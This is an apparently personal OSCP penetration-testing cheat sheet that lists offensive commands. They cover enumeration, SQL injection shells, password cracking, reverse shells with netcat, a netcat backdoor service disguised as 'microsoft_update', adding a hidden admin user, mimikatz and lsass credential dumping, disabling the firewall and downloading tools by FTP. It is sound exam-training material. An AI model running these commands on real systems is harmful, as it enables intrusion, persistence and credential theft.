

# OSCP Cheat Sheet

🕒 4 minute read

Here are some commands that I found helpful during the OSCP. I encourage you to take a look at the resource links that I've posted here to go in further detail in many of these topics.

## Pre

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### Scanning

#### Quick Pass

```
nmap <IP> --top-ports 10 --open
```

#### Intense scan

```
nmap -p 1-65535 -T4 -A -v <IP>
```

### Web

```
nitko -h <IP>
```

```
dirb http://<IP> /usr/share/wordlists/dirb/<insert related list>
```

```
finmap -u <IP>
```

```
./dotdotpwn.pl -m <MODULE> -h <HOST> [OPTIONS]
```

```
wpscan -url http://<IP>/ -enumerate p
```

File Include Resource 1 (<https://evilzone.org/tutorials/remote-file-inclusion%28rfi%29/>)

File Include Resource 2 (<http://www.hackersonlineclub.com/lfi-rfi>)

File Include Resource 3 (<https://0xzoidberg.wordpress.com/category/security/lfi-rfi/>)

## SMB/RPC

```
enum4linux -a <IP>
```

```
nmap --script=smb* -p <PORTS> <IP>
```

```
rpcclient <IP> -U "" -N
```

```
showmount -e <IP>/<PORT>
```

```
mount -t cifs //<IP>/<SHARE> <LOCAL DIRECTORY> -o username="guest",password=""
```

```
net view \\<IP>
```

```
nbtscan -r <IP>
```

```
smbclient -L \\<IP> -U "" -N
```

```
rlogin <IP>
```

```
nmblookup -A target
```

## SQL

SQL Injection Cheat Sheet (<http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>)

Backdoor SQL Injection (<http://resources.infosecinstitute.com/backdoor-sql-injection/>)

```
nmap -sV -Pn -vv -script=mysql* <IP> -p <PORT>
```

```
sqlmap -u <IP> -crawl=1
```

```
sqlmap -u http://<IP>/page.php?comen=761 -DBMS=mysql -os-shell
```

## SMTP

```
nmap -script=smtp* -p <PORT> <IP>
```

## SNMP

```
snmpwalk -c public -v1 <IP>
```

```
snmpenum -t <IP>
```

```
Onesixtyone - c <COMMUNITY FILE> -I <IP>
```

## FTP

```
nmap -script=ftp* -p <PORT> <IP>
```

```
ftp://<IP>
```

## DNS

```
./dnsrecon.py -d <DOMAIN>
```

```
./dnsrecon.py -d <DOMAIN> -t axfr
```

```
./dnsrecon.py -d <DOMAIN> -D <NAME LIST> -t brt
```

```
./dnsrecon.py -d <HOST> -t zonewalk
```

```
nmap -script=dns-zone-transfer -p 53 ns2.megacorpone.com
```

```
nmap <IP> -p- -sV --reason --dns-server 1.2.3.4
```

## Pass-the-Hash

```
pth-winexe -U <HASH> //<IP> cmd
```

## During

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## Password Cracking

Discover type of hash that you have

```
hash-identifier
```

## John the Ripper

**/etc/shadow cracking**

- Create a file with passwd
- Create a file with shadow
- Combine into one document

```
-unshadow <passwd file location> <shadow file location> > <new combined file>
```

```
john --wordlist=<any word list> <combined file location>
```

## Hydra

```
Hydra -L <USER FILE> -P <PASS FILE> -v <IP> ssh
```

## Medusa

```
Medusa -h <IP> -U <USER FILE> -P <PASS FILE> -M http -m DIR:/admin -T 30
```

## Hashcat

```
hashcat -m 400 -a 0 <HASH FILE> <WORD LIST>
```

## TTY Shells

See TTY Shells ([http://thor-sec.com/cheatsheet/tty\\_spawnage/](http://thor-sec.com/cheatsheet/tty_spawnage/)) section

## Metaploit Payloads

See msfvenom cheat sheet ([http://thor-sec.com/cheatsheet/msfvenom\\_cheat\\_sheet/](http://thor-sec.com/cheatsheet/msfvenom_cheat_sheet/)) section

## Metasploit commands

```
sysinfo
```

```
getuid
```

```
search -f *pass*.txt
```

```
shell
```

```
getprivs
```

```
session -i 1
```

 —puts you back into your session

## Turn a regular shell into a meterpreter shell

## • Attacker

- `use exploit/multi/handler`
- `set payload windows/shell/reverse_tcp`
- `set lhost <IP>`
- `set lport <PORT>`
- `run`

## • Target

- `nc -vn <IP> <PORT> -e cmd.exe`

## • Attacker

- Ctrl+Z (to background session)
- `sessions -l` (this will list your sessions to verify which one it is)
- `setg rhost <IP>`
- `setg lhost <IP>`
- `sessions -u 1` (the 1 is the session number)

## Netcat

See Netcat cheat sheet ([http://thor-sec.com/cheatsheet/netcat\\_cheatsheet/](http://thor-sec.com/cheatsheet/netcat_cheatsheet/)) section

## Useful Windows Commands

```
net view
```

```
net user
```

```
net localgroup Users
```

```
net localgroup Administrators
```

```
net user hacker password1 /add
```

```
net localgroup administrators hacker /add
```

```
search dir/s *.doc
```

```
system("start cmd.exe /k %cmd%")
```

```
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d <IP> <PORT> -e cmd.exe" start= auto error= ignore
```

```
C:\nc.exe -e c:\windows\system32\cmd.exe -vv <IP> <PORT>
```

```
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
```

```
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

```
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
```

```
(32-bit) C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

```
(64-bit) C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
```

```
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d
```

```
0
```

```
netsh firewall set service remoteadmin enable
```

```
netsh firewall set service remotedesktop enable
```



```
netsh firewall set opmode disable
```

```
%SYSTEMDRIVE%\boot.ini
```

```
%WINDRIVE%\win.ini
```

```
type %WINDRIVE%\System32\drivers\etc\hosts
```

## Useful Nix Commands

SUID root files `find / -user root -perm -4000 -print`

SGID root files: `find / -group root -perm -2000 -print`

SUID & SGID files ownership `find / -perm -4000 -o -perm -2000 -print`

Files not owned by anyone `find / -nouser -print`

Files not owned by any group `find / -nogroup -print`

Symlinks and their pointers `find / -type l -ls`

## Download an EXE from FTP server

```
echo open IP> C:\script.txt
```

```
echo user myftpuser>> C:\script.txt
```

```
echo pass myftppass>> C:\script.txt
```

```
echo get nc.exe>> C:\script.txt
```

```
echo bye>> C:\script.txt
```

```
ftp -s:script.txt
```

# Shells

See resources ([http://thor-sec.com/review/oscp\\_review/#resource](http://thor-sec.com/review/oscp_review/#resource)) section

Reverse Shell Cheat Sheet (<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>)

# Post

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## Windows looting (brief)

```
systeminfo
```

```
type boot.ini
```

```
hostname
```

```
ipconfig /all
```

```
netstat -ano
```

```
net users
```

```
net localgroup
```

```
route print
```

```
arp -A
```

```
netsh firewall show state
```

```
netsh firewall show config
```

```
schtasks /query /fo LIST /v
```

```
schtasks /query /fo LIST /v
```

```
net start
```

```
accesschk.exe -uwcqv "Authenticated Users" *
```

```
dir network-secret.txt /s
```

```
windump -i 2 -w capture -n -U -s 0 src not <IP> and dst not <IP>
```

## Nix looting (brief)

```
locate proof.txt/network-secret.txt
```

```
find -name "proof.txt"/"network-secret.txt"
```

```
uname -a
```

```
cat /proc/version
```

```
cat /etc/passwd
```

```
cat /etc/shadow
```

```
cat /etc/group
```

```
ls -alR | grep ^d
```

```
ifconfig -a
```

```
netstat -ano
```

```
cat /etc/hosts
```

```
arp -a
```

```
tcpdump -i eth0 -w capture -n -U -s 0 src not <IP> and dst not <IP>
```

```
tcpdump -vv -i eth0 src not <IP> and dst not <IP>
```

## Packet Sniffing

```
tcpdump -i tap0 host <IP> tcp port 80 and not arp and not icmp -vv
```

```
tcpdump -i eth0 -w capture -n -U -s 0 src not <ATTACKING IP> and dst not <ATTACKING IP>
```

```
tcpdump -vv -i eth0 src not <ATTACKING IP> and dst not <ATTACKING IP>
```

## Other

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### Quick Kali Configuration

#### SSH

- Start

```
service ssh start
```

- Stop

```
service ssh stop
```

#### HTTP Service

- Start

```
service apache2 start
```

- Verify its running

```
http://127.0.0.1
```

- Directory

```
/var/www/
```

- Stop

```
service apache2 stop
```

## Update boot sequence

```
update-rc.d ssh enable
```

```
update-rc.d apache2 enable
```

```
rcconf (GUI)
```

## Compiling Exploits

### 32-bit

```
gcc -m32 -o output32 hello.c
```

### 64-bit

```
gcc -o output hello.c
```

## Windows Compiling

```
cd /root/.wine/drive_c/MinGW/bin
```

```
wine gcc -o exploit.exe /tmp/exploit.c -lwsock32
```

```
wine exploit.exe
```

 **Tags:** OSCP (<http://thor-sec.com/tags/#oscp>)

 **Categories:** Cheatsheet (<http://thor-sec.com/categories/#cheatsheet>) OSCP (<http://thor-sec.com/categories/#oscp>)

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